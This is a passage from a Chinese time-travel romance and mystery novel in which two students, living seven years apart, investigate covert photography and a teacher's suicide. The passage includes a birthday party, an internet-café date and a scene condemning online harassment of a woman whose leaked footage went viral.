周湜与把他能想到的整层楼的男生名全部报了一遍,苏芸始终摇头,她眼中的不解是真实的。他无奈摊了摊手。
苏芸却突然说:“吴婷儿在照片曝光的前几日表现得很奇怪,她总是觉得害怕,我们问她,她又什么都不说,她看上去十分恐惧上学,恐惧老师上课提问,我们一开始只是以为她学习压力太大,最近几次考试都没考上,可是……”她抬起头看了他一眼,“……可是,我们提到你的时候,她似乎也觉得害怕。”
周湜与蹙起眉毛。
“我们说起你只不过是因为篮球比赛,很多男生我们都会……不只是你,没什么别的意思……”
“没关系。”他打断她,对她的解释毫不在意,“但我根本不认识她。”
“我知道。”苏芸吸了吸鼻子,“全校人都认识你,可是你只跟少数几个人关系好……”她的声音又渐渐弱了下去。
“所以,她为什么怕我?”
“她什么都不肯说,也许因为你是郑俊文的同学?”
她随便猜道,周湜与的心里却并不认为,只不过吴婷儿死了,他再也从她嘴里得不到答案了。
“如果——我是说如果,你有一件特别着急的事情要来找我,或者其他某个人,以至于你不得不走进男生宿舍,会是什么事情?”
周湜与开口,说完,他觉得自己问了一个愚蠢的问题。
果不其然,苏芸猛然抬起头,惊恐地睁大眼睛,“我不会进男生宿舍的。”
“算了……”
对方是个循规蹈矩的人,这个问题在她看来是在闯祸,是违规校纪。
此刻,至少现在站在自己面前的苏芸是不会做这样的事情的。
或许他们没能挽救吴婷儿的命运,却已经细微地改变了苏芸的人生轨迹。但兴许就是这一点细微之处,便会如同蝴蝶效应,彻底改变她,让她不会在六月九日的午后不顾一切地出现在男生宿舍。
那么临时返回宿舍的自己也就不会命丧黄泉。
想到这一切,他内心本该落地的石头却堵得他喘不过气来。
苏芸见他半晌不说话,等了一会儿,小心翼翼地问:“那个女孩儿呢,最近很久不见她了。”
她指黎遇。
“快要高考了,她很忙。”
“原来她也是高三学生,但我从没在学校见过她,她是哪个学校的?”
周湜与没有回答这个问题。
他腿长步子快,除非刻意等待,女孩子跟不上他的脚步。苏芸见他越来越远,咬了咬唇,又问:“她是你女朋友吗?”
这次周湜与终于回头了。
他说:“还不是。”
随后耸耸肩,“但我确实喜欢她。”
苏芸近乎痴迷地盯着这样的周湜与。
她对心里的自己说,你看,他和那个女孩一样,都是能站在阳光下,活得如此得坦荡的人。而她呢?躲在周身都是阴影的角落里,沉默地观察着别人,从来不知道沐浴阳光是何种滋味,见别人身上有光,便渴望无声无息地靠近感受些温暖。
她点了点头,“真好呀……”
不过这些,周湜与全都不会听到。
*
周湜与往教学楼走去,在门口遇到笑的贼兮兮的黎彦尧。
他瞥他一眼,“嘴角抽筋了?”
“我看到你在篮球场门口跟一个女生说话了。”
“怎么了?”周湜与懒洋洋的,“我又不是哑巴,跟人说话难道是医学奇迹?”
“但你很少单独跟女孩儿说话啊。”黎彦尧挤眉弄眼,“老实交代,是不是她?”
“什么是不是?”
黎彦尧对着空气,把嘴撅起来发出嘬嘬嘬的声音。
周湜与给了他一拳,“你有病吧?”
见好友真的脸色不佳,黎彦尧知道自己大概真的认错人了,忙揽住他的肩膀,“我过生日,你礼物准备好了吗?”
周湜与“切”了一声。
“这周末我请大家吃饭,来我家吧?”
“这么大阵仗?”周湜与认识黎彦尧这么久,也没在他家吃过饭,更别提去家里过生日,以前过生日,也就是去外面玩一天。
“十八岁生日,我爸妈说要给我好好操办一番。”黎彦尧摸摸鼻子,竟然还有点儿不好意思,“你这个未成年不懂啦。”
“——对了,我妹那天也在,曈曈,你还记得吧?几年前你还救过她小命一回,现在也是大姑娘了。”
“去不去啊?”
“去。”周湜与憋着笑意,“我当然去。”
*
周日早上十点多,周湜与来到了黎彦尧家门口。
他
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抬手,敲了敲门。
黎彦尧很开心,“进来进来。”
周湜与把生日礼物放在玄关,“生日快乐。”
房间内的黎劭丰和章锦走出来笑着迎接,“是周湜与吧,好几年没见,越来越俊俏了!”
“叔叔阿姨好。”
他转身问好,这次注意到,他们全家人穿得衣服颜色各不相同,但是上面全都一模一样,上面印着一个蛋糕,显然是为了孩子生日特意准备的。
黎彦尧把盒子拆开,随即给了周湜与一个结实的拥抱,“乔丹四代!几个月前刚出的新款!我靠,我听说好多人特地要去北京上海买这个球鞋呢,兄弟,够意思啊。”
他立马换上新鞋,在家里神气地踱步。
一看墙上钟表时间,十点二十五,黎彦尧立马中气十足地对着其中一个紧闭的卧室喊:“曈曈!太阳都晒屁股了,怎么还不起床!”
周湜与刚刚接过章锦递来的一盘水果,听到黎彦尧的呼喊,下意识也往那卧室门看去。
黎彦尧又走进,用上了高利贷要钱一般的气势敲门,“曈曈,起床了!再不起床没有蛋糕吃了!”
里面立刻传来一声尖叫,“不行!我要吃蛋糕!”
话音未落,门便被人从里面打开。
一个半大的小姑娘露出头,光着脚,她的头发因为刚起床而乱七八糟,却依旧乌黑顺亮,虽然还睡眼朦胧,但一双眼睛炯炯有神,想装成一副盛气凌人的样子,却因脚趾灵活地交叠,反倒更像一只雄赳赳的大公鸡。
周湜与噗嗤乐了。
见有陌生人,黎遇立马被吸引了注意,她噔噔噔地跑出来,坐在沙发上的另一边,打量周湜与一番后,眼睛亮晶晶地问:“你是谁?”
“我叫周湜与。”
“哦——”小姑娘拖长音,“你是哥哥的朋友吗?”
黎彦尧痛心疾首,“小没良心,你前几年还见过他呢。”他小声在妹妹耳边说:“你忘了?你以前还总问,那个好看的大哥哥怎么不来?那个好看的大哥哥去哪了?”
十一岁的姑娘,已经知道男女有别了。
她脸一红,却还是道:“那我都不记得了。”
黎彦尧拍拍妹妹鸡窝一样的脑袋,“赶紧洗脸刷牙去,待会儿还有别的哥哥姐姐要来。”
黎遇立马跑去卫生间。再出来时,已经扎上了马尾辫,换上和全家人一样的衣服。她和哥哥并肩坐在一起,一口一口地喝牛奶,周湜与这才注意到,他们的衣服图案还是略有不同。黎彦尧那件是蓝色的,衣服上的小人图案也是个Q版小男孩,而黎遇红色衣服上的小姑娘就更可爱了,扎着蝴蝶结,还对着手里捧着的生日蛋糕张大了嘴巴。
大约半个小时后,其余同学陆陆续续到来。
他们见黎彦尧的妹妹这么可爱漂亮,不由得围上去问东问西。黎遇直挺挺地坐在那里,认为自己好歹也是个五年级的学生了,不该像玩具一样被这些哥哥姐姐玩耍。她有问必答,但很快找了个借口黏在妈妈身边。
她在厨房里探着脑袋,见新来的那些哥哥姐姐果真没有一个长得比第一个哥哥更好看的。她端着果汁和几个空杯子来到客厅,大方道:“哥哥姐姐喝饮料。”
说完自己也找了个一个地方坐下,先给自己倒了一杯,又拿起一个空杯子也倒满,推到周湜与面前,“哥哥你也喝。”
27. 童年猜想
第二十七章童年猜想
生日席间,有人问起黎遇多大,她说自己马上就要十一岁了。
黎彦尧这个当哥哥的立马道:“你明年就要小升初了,接着再过三年就是中考,这么想想,高考对于你来说也是指日可待啊。曈曈,你要有危机感哦。”
黎遇正吃蛋糕上的巧克力呢,一听这话,脸皱在一起。
女同学笑道:“黎彦尧你这个人真是,吓唬你妹妹干嘛,你看人家,都没胃口了。”
黎彦尧却道:“她能被我吓唬到也是太阳打西边出来了。”
周湜与抬起头,其他人也都朝黎遇看去。只见这半大的小姑娘摇摇头,煞有介事道:“我不会参加高考的。”
他一愣,立刻问:“为什么?”
“因为长大了才要高考,我不会长大,我永远是爸爸妈妈的宝贝。”她吃完盘子里的最后一块蛋糕,把胳膊放在桌子上,像是在学校里认真听讲那般交叠,继续道:“反正我肯定不会长大,我觉得我大概长到十三四岁的时候吧,整个世界的时间就停滞了,我会重新回到自己小时后,再过一遍童年。”
她振振有词,头顶的蝴蝶结飞扬,“总之,我永远都是家里的小孩子,我不会变成成年人,也不会高考,更不会离开妈妈。”
周湜与扬起嘴角。
其余人还在憋笑,黎彦尧已然不留情面地前仰后合。
“你干嘛?”
黎遇有些不高兴地看着哥哥。
黎彦尧竖起一个大拇指,“你真厉害,天山童姥。”
每年暑假,电视台常会重播2003年版的天龙八部,黎遇看过好几遍,她当然知道天山童姥是谁,冲哥哥吐了吐舌头。
此刻,周湜与看着眼前稚嫩的脸,这才将她与七年后的黎遇渐渐联系在一起,两张脸慢慢重合在一起。他面上不显,实则心里已然乐翻天,心道找个机会可一定要把她儿时的童年猜想当她的面重复一翻。
生日会结束。
有人提议出去玩,黎遇立马兴致勃勃地表示自己也想参加。
“曈曈,你下午还要上钢琴课。”
黎劭丰提醒道。
黎遇乖乖点点头,顺道打了个哈欠。她哥嫌弃道:“两个小时前刚起床,你又困了?”
她跟哥哥摆了摆手,心情丝毫不受他冷嘲热讽的影响,“妈妈说我还小,多睡觉是长身体呢。”
*
下午三点多,他们爬到锦城翠岭山顶,山顶有一片湖。
青绿色湖水不深不浅,偶有鱼尾摆动。
站在湖边,一个女生哀叹,“虽然黎彦尧的妹妹是异想天开,但说真的,我小时候也有同样的幻想,希望自己永远不要长大,也不要离开父母,我不想做成年人面对世界。”
步入五月,高考临近,即使再没有做好完全的准备打胜仗,也没有人能阻止时间的推进。到了这个时候,他们的心境也在变化,难以平静的心情渐渐不全是因为人生最重要的考试,似乎更多被成长的惆怅,毕业的伤感,离开亲人的恐惧而占据。
“好想永远当小孩啊!”
她把手心的石头扔向湖面。
“噗通”一声,砸碎一池春花。黎彦尧也叹了口气,都盼着要长大,可是怎么真的一转眼就成大人了呢。而他清楚地知道,身边这些同学即使现在关系再好,高中毕业后去往天南地北,有些人或许就再也见不到了。
他转头,用胳膊肘捣了捣周湜与,“你呢?”
“我?”
周湜与看着远方,也用力投入一颗石子,石头连续噗通了七八下,才没了声响。
“我挺想长大的。”
因为从来都没人把他当过小孩。
他的手搭在好友的肩上。湖面恢复了平静,一时间四下悄声无言,像是时间都在上面静止。
“活着就要长大。”
“——而且,活着多好。”
晚上七点多,周湜与回到了二中宿舍。
他打开蓝皮本,果不其然,新的一页上已经留下了黎遇满满登登的话。从她上午出门和家里人踏春,到下午做了一套理综卷成绩理想,事无巨细。
最后她问:「你去哪里了?」
周湜与从笔筒里抽出一根笔。
画了一个蛋糕。
那边出现一行字。
「今天哥哥生日,你跟他一起出去玩了?」
「嗯」
「要不要来找我?」
他又问。
「学校门口见面?」
「好,我等你」
*
他们没有别的地方去。周湜与把黎遇带去了那间很小的网吧。
梁真今天不在,她弟弟坐在门口的小塑料板凳上,抱着一不锈钢碗吸溜吸溜地吃面,见周湜与今天身后跟了个姑娘,瞪大了眼睛,忙咬断最后一根面,嘴里的东西都没咽进去,“哎呦”了一声。
黎遇走上最后一节台阶,见门口一个面孔黑梭梭的人吃面吃得满头大汗,正好奇地打量着自己,她冲他笑了笑。
“你好。”梁海露出十六颗牙齿,转头问周湜与,“今天几个小时?”
“一个。再来两瓶冰红茶。”
“今天这么短啊?”
周湜与正付钱,闻言抬头看他一眼。
梁海挠挠后脑勺,嘿嘿一笑,“好久没见来了。”
“快高考了。”他接过梁海的找零,回头对黎遇说:“走吧。”
电脑屏幕亮起。
黎遇小声问他,“二零一零年,你们都玩什么游戏啊?”
“穿越火线,使命召唤,极品飞车……”他转头,“你呢?”
“我呀,那个时候我还上小学,赛尔号你知道吗?”
周湜与裂了咧嘴。
“还有摩尔庄园。我那时候攒着零花钱还给自己充了个超级拉姆。”
他轻笑,“不吃糖了?”
“你不知道,那时候有个超级拉姆在小学生里有多威风。”
周湜与的嘴角忍不住勾起来。他想起今早见的还在童年时期的她,不过此刻,他还不打算把已经见过十一岁的黎遇的事情告诉她本人。
“……对了,还有QQ农场偷菜,你们偷菜吗?”
“以前玩过几天……”周湜与懒懒提醒道:“我比你大七岁,我们有代沟。”
“是哦。”黎遇撑着下巴,“如果你一直活着,到了二零一七年,就算读研究生,你也差不多毕业工作了。”
“——你想学什么专业?”
“计算机吧。”
黎遇点点头,“嗯,没错,这七年间,计算机和互联网发展很快。”
短短几年,越来越多的人打游戏从电脑端换到了手机端口;手机更薄,屏幕更大,桌面上的各种APP代替曾经笨重的按键;衣服口袋做得越老
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越小,因为几乎没有人出门还需要带上厚实的钱包,移动支付,扫码登录,短信验证,几乎手机就能解决大部分的问题;和同学之间的沟通,从QQ逐渐替换到微|信;他们一家人上次提着大包小包的购物袋周末去商场火拼似乎也是很久以前的事情了;即使二零一七年的天空没有童年时曾经以为的飞行汽车,但人工智能和大数据的确从遥远成为了日常。
而这一切,周湜与都从未经历过。
“你知道吗,去年一场象棋比赛,AlphaGo赢了李世石。”
“AlphaGo?”
“嗯,象棋人机大战,AI赢了世界第五。”
梁海的脚步声由远及近,“你们来网吧纯聊天啊?怕被发现,来这里谈恋爱隐蔽哦?”
他把冰红茶放在桌上。
周湜与掀起眼皮看他,“怎么,谁规定网吧不能谈恋爱?”
说完,他轻咳一声,回头看了一眼黎遇,几秒钟的功夫,她的脸蛋已然红扑扑的,急忙拿走一杯冰红茶,拧开吨吨吨地喝了小半瓶。
周湜与立刻又道:“何况,我们是朋友。”
“行行行。”梁海被周湜与搁在桌上的拳头吓跑了,小声说:“朋友行了吧。”
等人走远了,周湜与回头看她。她已经像没事人一般,紧盯着电脑,嘴里念念叨叨,“我小时候是怎么登进我的摩尔庄园账号的来着……”
“下次我帮你问问。”
“问谁?”
“你忘了?现在这个时空还有另外一个你。”
“是哦。”
“你小时候喜欢什么?”
“我吗?问这个干什么?”
“我……总要知道怎么跟小女孩儿相处吧。”
“我小时候喜欢乐高,2009年出了一款冬季玩具店,妈妈答应我我钢琴考过十级就送我一个,可等到我初一结束的那个夏天考过的时候就只剩下二手的了……”
“好。”
黎遇登上网络研究北京各个高校的专业。周湜与噼里啪啦地投入穿越火线。过了十多分钟,她打了一个哈欠,“人大,北理工都离中关村很近,你如果以后恰好在那里上班的话,可以在学校附近租房,这样就算那时你已经上班,我还是学生,但我们还是能天天见面!”
周湜与停下手指,转头看她。
黎遇抿抿唇,“你怎么这么看我?”
周湜与把键盘推开,椅子一转,握着她椅子扶手将她也转到面对自己的方向。
他凑近,凑得很近。她的膝盖顶着她他的小腿。他的眼中和嘴角都含着难掩的笑意。
他停顿了一会儿,用气声笑问:“你到底是容易害羞呢,还是不不容易害羞啊?”
黎遇肩膀塌下来,抬起手推了他一把,恼怒道:“周湜与,你真烦人!”
周湜与被她推开,又像不倒翁一样自己转回来。
可黎遇却脸色一变。
她刚才用力推他,突然感觉到小腹一阵暖流急冲冲地往下。
“怎么了?”
她捂住肚子,感受了三秒,低下头小声说:“我好像来那个了。”
“哪个?”
他没听清。
“大姨妈啊……”
她往别处瞄,用气声道。
“哦!”周湜与一顿,“那、那怎么办?”
“要不,你给我去买个卫生巾吧。”
28. 旧人
第二十八章旧人
学校最多的是小卖部,周湜与跑到一个街口外。即使从来没给人买过卫生巾,但他至少不是傻子。花花绿绿的包装上写着长度。他不确定黎遇现在该用多长的,但至少买最长的没错。他拿了三包,付钱时阿姨多看了他好几眼,自己倒是先不好意思了。
周湜与想了想,又问:“有姜茶吗?”
“没有。”阿姨低头给他拿了个黑色塑料袋,“我们这儿没有,隔壁药房有。”
“谢谢。”
他拎着袋子进了旁边药店。
里面穿着白色衣服的女人问:“需要什么?”
“姜茶。”
她回头看向他,愣了几秒。才道:“稍等,我给你拿。”她回身从货架上拿下一个粉色小盒子。
“七块九。”
周湜与低头付钱,余光中,那人还在看着自己。为了去网吧,他兜里还揣着身份证,掏钱的时候身份证件也被顺了出来。
“你是周湜与?”
女人低声惊呼。
他抬起眼,“你认识我?”
女人露出笑脸,“我是邹虹阿姨啊。”
这个名字耳熟,但他一时间记不得从哪里听过。
“我小时候照顾过你,你忘啦。”
在四岁以前,家里的确短暂地有过一个保姆,不过随着他目前徐文嘉去世,他被送到姥爷家之后,保姆便也离开了。
他对当时的保姆仅有模糊的印象,只记得她是个挺年轻的女性,瘦瘦的,短头发,与面前这个略微发福的中年长发女人毫无关系。
“是您啊,抱歉,刚才没认出来。”
“哎呀,都过去这么多年了,你那个时候才那么一点大……别说你了,你刚才进来,我也就是觉得眼睛像你妈,但都多少年了?十三四年了吧,天哪,都这长成这么帅的大伙子了!”
周湜与笑笑,把自己的身份证收起来。
邹虹却显然见到旧日雇主十分开心。
她的双眼中露出难掩的慈爱。这样的目光让周湜与一时间也顿住了脚步。
“你现在上高中了吧。”
“嗯,高三。”
“哎呦,那马上就要高考了。”
“你姥姥姥爷身体怎么样?”
“他们……都已经去世了。”
邹虹低下头,竟然突然掉下眼泪哭了一会儿。她絮絮叨叨说自己当年本来是个市医院的护士,结果丈夫要去南方做生意,结果生意还没做大,他自己先遇上泥石流死了。她不得以又回到锦城,可以没有医院愿意要她,她只好在医院做护工,徐文嘉见她干活利索人又老实,才提议让她做自己的保姆。
“你妈妈啊,真是我见过最温柔最善良的人了,当年她生你大出血,差点儿没把我吓死……不过幸好,幸好啊,你虽然早产,但现在长得这么高,看来是身体很好了。”
周湜与眉心一跳。
“我是早产儿?”
“对啊,那时候你还不到九个月呢,才四斤多一点点儿,我抱在怀里哟,都怕你被风吹跑了。”
他低声呢喃,“我从来不知道自己是早产儿。”
“还说呢,虽然你妈妈孕期一直不爱笑,时不时生个小病,但是你也都健健康康的,谁能想到……怎么那个晚上她突然就肚子疼被送到医院……你当天就落地了,万幸啊,当时可真是惊心动魄!”
邹虹见他不说话,又道:“周老师怎么样?”
“他还好。”
周湜与回神,答道。
他拿着那个姜茶盒子,“邹阿姨,我着急给我朋友送药,先走了。”
“哎,慢走。”
*
周湜与小跑着回去,进门时问梁海,“有热水吗?”
“有啊,你要喝。”
“帮我倒一杯,再拿一根吸管。”
他往里走,在黎遇身旁弯腰轻声问:“疼不疼?”
“不太疼……”她小声说:“就是有点儿难受。”她把黑色袋子,往里一摸,“谢谢你啦。”
她抽出一小包,塞进裤兜里,往卫生间跑去。
梁海端着个一次性杯子,“八分烫。”
“谢了。”
周湜与把姜茶倒入热水杯,用吸管搅了搅。
黎遇回来时,看着电脑旁一杯冒着热气的姜茶,弯起眉眼,“谢谢你。”
她喝了一大口,腮帮子鼓鼓的。
咽下那一口后,胃里顿时暖暖的。她盯着杯子里的姜茶,歪着脑袋问:“周湜与。”
“嗯?”
他重新打开了穿越火线。
“你是不是以前谈过恋爱?”
“不是……”他又退出来了,语气带着一丝不易察觉的委屈,“为什么这么说啊。”
“我不知道哎,我看偶像剧,大多数男主都没谈过恋爱,所以不会买卫生巾。”
“第一这东西上面大大写着‘日用’和‘夜用’,第二我长着嘴难道不会问。”他指着自己,“而且像我这种特别有脑子的男人和那些偶像剧里的人不一样,我根本不用问,买长的总不会错。”
“切,自恋狂。”
周湜与偏头见黎遇懒懒地把下巴搁在手背上,又把她的椅子转过来。
他看着她的眼睛,认真说:“我没谈过恋爱。”
“我知道啊,你要是早恋,会被周老师打死的吧。”黎遇眨了眨眼睛,热气烘得她看上去快要睡着了。
谁知他竟然嗤笑一声,“我要是真想谈,谁能拦得住我?”
黎遇思考了一下,“我爸妈不一定管我,但我哥可能不让,我初三的时候,后面那个男生……”
周湜与忽然抬手,捏住了她的下巴,把她脸上的肉捏得嘟起来,“三年前的事情就别想了。”他让她看着自己,“想现在就够了。”
“哎呀……”
黎遇啪地拍掉他的手,与此同时的一瞬间,也消失在他眼前。
周湜与手中的温度消失了。
他愣了愣,叹了口气,也关掉电脑,带上剩下的卫生巾,离开了网吧。
*
黎遇回到二零一七年,从学校附近往回家走,快到小区门口时,看到了哥哥,他轻轻抱着关蕾,拍着她的背,好像在安慰什么。
她走过去,“哥哥?”
黎彦尧回头,关蕾抬起脸,眼睛红红的。
她又喊了一声“关蕾姐姐好。”
“曈曈?”黎彦尧道:“这么晚了,你还没回家。”
“嗯,出门转转。你们怎么在这里?“
“我们下午去看电影了。路过。”
“哦……”黎遇犹豫了一下,还是问:“姐姐怎么哭了?”
关蕾望向黎彦尧。
后者抿了抿唇,才道:“那家商场二楼有家游戏城,今天发生了点事情……”
“什么事情?”
“有人偷拍。
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”
黎遇脑子嗡地一声,“怎么又有偷拍?”
“游戏厅有个VR射击,玩的时候需要两个玩家在一个小黑屋子里,今天下午的时候,据说有对年轻的情侣在里面待了很久,本来也没什么特比的,但是头顶有个摄像头,不知道是谁把里面的监控偷拍下来发到网上,原来是那对情侣在里面……”
“在里面干什么?”
黎遇听的一头雾水。
关蕾没说话,抬头看了一眼黎彦尧。
黎彦尧脸皱起来,有点儿为难地看着妹妹。
黎遇忽然恍然大悟,尴尬地“哦”了一声。
“那他们现在怎么样了?”
“不知道……”关蕾摇摇头,“监控不是很清楚,但拍下的照片中,仅有的几张正脸几乎都对准女生,现在互联网上好像已经有人扒出这个女孩儿是谁了。”她说着,打了一个寒颤,“现在的人哪有什么隐私,这个女孩儿被骂惨了。”
“你别害怕……”
“但她是受害者不是吗?”
黎遇张了张嘴,不知道该说什么。只是那股熟悉的冷意又从脚底攀升,恐惧让她脚下生根。
“曈曈,这么晚了,以后不要一个人随便在街上转了,即使现在治安好,但是还是要学会保护自己。”
“知道了,哥哥……”
*
黎遇回家洗漱后躺在床上。点开热搜,第一条便是「锦城游戏厅」
点开词条,只有几张打了码的照片,但下面的评论一水儿的全是:
「我保存了,哪位兄弟想要?」
「举手」
「私我,我全都有。」
「外网也有,有条件的兄弟可以去那儿看。」
「听说这两人还是大学生呢,女生是学画画的。」
「啧,学艺术的啊,怪不得身材这么好呢。」
「可惜,不知道声音怎么样。」
「好像是我们学校的,有空班门口堵她。」
黎遇从头翻到尾,几乎全部都是关于女生的评论。而这个事件中的男主角仿佛消失了一般,而那个女生,在私密照片被曝光短短几个小时后,她比吴婷儿曾经遭遇的言语攻击胜过万倍。
看着指责这个女生不检点不要脸的评论,她忍不住浑身发抖。
没有再在乎曝光照片的人是谁,有没有被抓起来,也没有深究男生是谁,同样的事情男女遭受的对待天壤之别,无人评论他的身材,最多是有人说一句“艳福不浅”之类的。
直到凌晨,她才迷迷糊糊睡过去。
*
本周六是黎彦尧的毕业典礼。
他们全家一起出席,黎遇还特意给哥哥做了一个横幅。
「祝黎彦尧毕业大吉」
黎彦尧穿着毕业服,嫌丢人,排队入场时冲妹妹挤眉弄眼,用口型说:“赶紧收起来。”
黎遇吐吐舌头。
原来大学跟高中差不多,毕业典礼前的领导讲话依旧冗长,她从后台溜出去上厕所,往回走时,七拐八绕的,差点儿迷了路。
场内主持人的话筒声音传到了场外。
“下面,我们特别有请柳辉奖学金的创始人柳辉上台讲话。”
黎遇猫着腰,正要从后门进去。
忽然后面传来高跟鞋的声音。
“黎遇?”
黎遇回头,身后一米开外,一席黑色长裙的女人正是好久不见的郑雅曼。
29. 受害者
第二十九章受害者
“你哥哥今天毕业?”
郑雅曼没有等待黎遇向自己打招呼,率先问。
“嗯。”
黎遇点点头,往她那边走近了一步,“你呢?”
“我男朋友是柳辉。”
她回答。
正巧,场内台上,那个事业有成的青年声音传来,“大家好,我是柳辉。十年前,我也从这里毕业……”
“哦,这样啊。”
黎遇点点头。
她正要转头回去,郑雅曼却忽然又道:“我听说郑俊文死了。”
“嗯,是啊。”
黎遇回答。
她盯着黎遇表情里的每一个变化,“听说他死前家里进了小偷……不,只是进了人,没丢东西,但就是这样,他还是跳楼自杀了——你知道吗?”
黎遇没说话。
她低声恨道:“他活该……”
声音很轻,以至于黎遇是凭着她愤恨的眼神才判断出来她说出了什么。
“你见过那些照片吗?”
黎遇看着她。
“他拍下来的照片,你见过吗?”
黎遇摇头。
阳光从郑雅曼背后的窗户射进来,她的面孔一半亮,一半暗。
在她们沉默的对视中,她突然红了眼眶。
黎遇抬头追问:“你的答案还是跟那天在墓地时一样吗?”
郑雅曼身子晃了晃。
随后垂眼说:“抱歉。”
“抱歉。”她抬起头,目光中盈盈竟然有一丝愧色,“真的抱歉……但是最近游戏厅发生的事情你有耳闻吗?”
“……有。”
“对啊,你看……明明那个女孩儿也是受害者,可落在她身上的没有同情,只有嘲笑,羞辱,不怀好意的探究和眼神,你相信我,即使是苏芸,她选择了死亡,也不愿意再回忆当年经历过的一切。”
说完这句话,郑雅曼便转身离开。
*
黎遇第二日回校上课。
路过教学楼时,她看见余珂正踮着脚尖想里面探望。
“怎么了?”
“他们把苏芸老师的办公桌搬出来了。”
她小声道:“听说有新的老师要进去了,但是……他们觉得不吉利,就把办公用品都换了。”
正说着,里面两个穿着灰白色衣服的工人抬着办公桌走出来。
他们把桌子放在大门口,又走回去搬别的东西。
黎遇与余珂对视一眼,默契地小跑到桌子旁边。
这是一张很宽很长的木头桌,表面刷着一层红色木漆。黎遇抬手摸着桌子表面,上面的漆掉了不少,有些地方还有划痕。她蹲下来,桌面下面有三个高低不一的抽屉。
她挨个拉开最上面的两个都是空的,最下面那个还放着一个很薄,巴掌大的小记事本。她轻轻“哎”了一声,打开只有零星几页有内容,后面有人大喝一声,“那两个女同学,你们干嘛呢!”
黎遇忙将手背在身后。
工人提着台灯,“别挡着路,你们不上课吗?”
黎遇拉着余珂跑开,他们一路跑回教学楼才停下。余珂问:“这是什么?”
她打开。
上面记录着【水费:300元;晚餐:28元;卫生巾:73.5元】之类的。
“哦,记账的啊……”
余珂叹口气,“回去上课吧……”
她往上走了几个台阶,回头见黎遇还停留在原地。
“你还记得当时那个女警察把我们叫去问话,问我们有没有见过苏芸老师的日记本吗?”
“记得。”
“你说那个日记本被找到了吗?”
“不知道。”余珂摇了摇头,但很快又说:“大概没有吧,而且就算找到又能怎么样呢?苏老师是自杀的啊……难不成还会有凶手?”
黎遇站在阴影里,慢慢点头,“是啊,你说得对。”
*
次日,五月九日,周二放学后。黎遇在路边花店买了一束花前去苏芸父母家。她根据余珂给的地址,敲响了那扇陈旧的铁门。
门吱吱扭扭,被人从里面推开一条缝。
开门的是个瘦弱的女人。只露出一半脸,她勾着腰,不说话,只打量着门外的人。
她眼角和额头上都有不少皱纹,嘴角微微耷拉下来。
“您好,我是黎遇。”
女人眯起眼睛,浑浊的眼球噌地转了转,“是你啊……”
她火速看了一眼她手里的花,“你来做什么?”
“大家都很想念苏芸老师,我作为代表,来看看您。”
“哦,这样啊。”女人吞咽着唾沫,“那进来吧。”
苏芸父母家很小。站在门口,整户几乎一目了然。客厅和餐厅共用,从外面进来,家里有种难言的味道,黎遇想了很久,似乎是水果和剩菜放久了那种软烂的乙烯味道和脂肪的酸败味道。
正对着大门的是黑漆漆的厕所。
方方正正的,很小,让黎遇想起某个人空洞的眼睛。
但她一时间记不得那是属于谁的。
“坐啊。”
苏母道。
“哦,我要换拖鞋吗?”
“不用,不用,直接进来吧……”
苏母坐在背靠阳光的那个小沙发上,黎遇坐在她的对面。
她拿着花,低头看小茶几,上面摆着几盒烟,烟灰缸,一大盘果盘,没吃完的饺子,还有散落的牙签。
她和花都显得格格不入。
最终黎遇轻轻挪动那盘有点儿发软的苹果,把花放在了茶几上。
“送这个干嘛……”苏母叨叨着,又讪笑起来。
黎遇抬头,“家里就您一个人啊。”
“是啊,她爸出去打麻将了,儿子儿媳不住这儿,就我一个人……”苏母慢吞吞说道:“以前芸芸还来看看我,我也没那么孤独,现在呢……”
说着说着,苏母的双眼忽然聚起了眼泪,黎遇从自己的包里拿出至今,弯身递给他,“阿姨,我们也很想念苏芸老师……”
苏母又说起来,“我们家里条件不好,芸芸从小就乖,骂不吭声,打不还手,学习也好,当年考上师范大学也都是免费的……不然我们穷,付不起她的学费。”她低头开始抹眼泪,黎遇尽力回忆着七年前见过的苏母的模样,她躲在丈夫的身后,面对他对女儿的恶意视若罔闻,她任由苏芸遭受恶毒的中伤,那种沉默何尝不是一把带血的刀?
“当年发生了那样的事情,她差点儿被她爸打死了,本来以为这孩子要考不上大学,没想到,她自己是争气的……工作以后,还回来给我买衣服,我病了也是她带我去医院。”
苏母想起女儿的好,泣不成声。
黎遇见她头发乱糟糟的。她应当不到五十岁,但头发半白,且十分干枯,衣服上有油渍,眼底乌青,显然苏父对她十分不好。
但她做不到柔声宽慰,只是问:“阿姨,苏芸老师死后警察说她有一个日记本丢了,后来找到了吗?”
“日记本?什么日记本?”苏母抬起头,用手背蹭掉鼻子上的鼻涕,“我们芸芸还记日记,这我不知道……”<
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她对苏芸的日记并无兴趣,又念叨起来,“这么好的孩子,在你们学校死了以后竟然才赔了那么一点钱……”
黎遇目光冷下来。
只听她忽然又道:“我们芸芸可怜哎,当年高中的时候想住宿,她爸嫌贵,不让她去,她就一直到高考都天天坐一个多小时的公交车上下学。”
心冷不丁一跳,黎遇猛地抬起头。
“苏芸没住宿?”
“是啊。”苏母被打断,奇怪地看了她一眼,“住宿费也不是一笔小费用呢,我们哪有钱。”
“不对啊……”
黎遇抓着自己的手指,苏芸明明已经住到宿舍了,从高二开始,跟苏母说的完全不一样。
*
她匆匆从苏芸家里离开。
五月初,天气已经热烈起来,天黑得晚,太阳还没落地。她拼命奔跑在路边,大街小巷的门店敞着门让晚风自然吹进店里。
摩托车呼啸而过,斑驳的墙影飞逝。
她在巷子深处拐弯,藏在一个无人的角落,把书包里的本子掏出来。干脆咬破自己的手指,滴在纸业上。
她跌落在二零一零的地上。
学校距离这里六百米,黎遇接着拼命跑。
二中的放学时间已经过去,大门口不剩下几个人,她跑进去的时候,保安正在们房里吃饭,见一个人影掠过,面还没咬断,就窜起来,推开门,“哎,那个小姑娘,你没穿校服,哪个地方来的?要签字的!”
黎遇脚步不停,身后保安还在嚷嚷。可她已经七拐八绕,穿过几栋教学楼,来到了女生宿舍下面。
宿管阿姨正在门口台阶上晾衣服。
“找谁?”
“苏芸。”
“谁?”
“高二,五班,苏芸。”黎遇上气不接下气。
宿管看了她一眼,“不是住宿生不让进去。”
“她住宿吗?”
“这我怎么记不住,小姑娘,你知道这栋楼住着多少学生吗?”
黎遇的耳膜咚咚咚地振。
苏母的话对她而言如当头喝棒,她不明白,明明二零一零年的苏芸已经逃离了原本的家庭,为什么在七年后,在她母亲的口中,她从未住宿,始终住在家里一直到高考——
如果是这样的话,莫非他们改变了过去,却丝毫无法影响到现在?
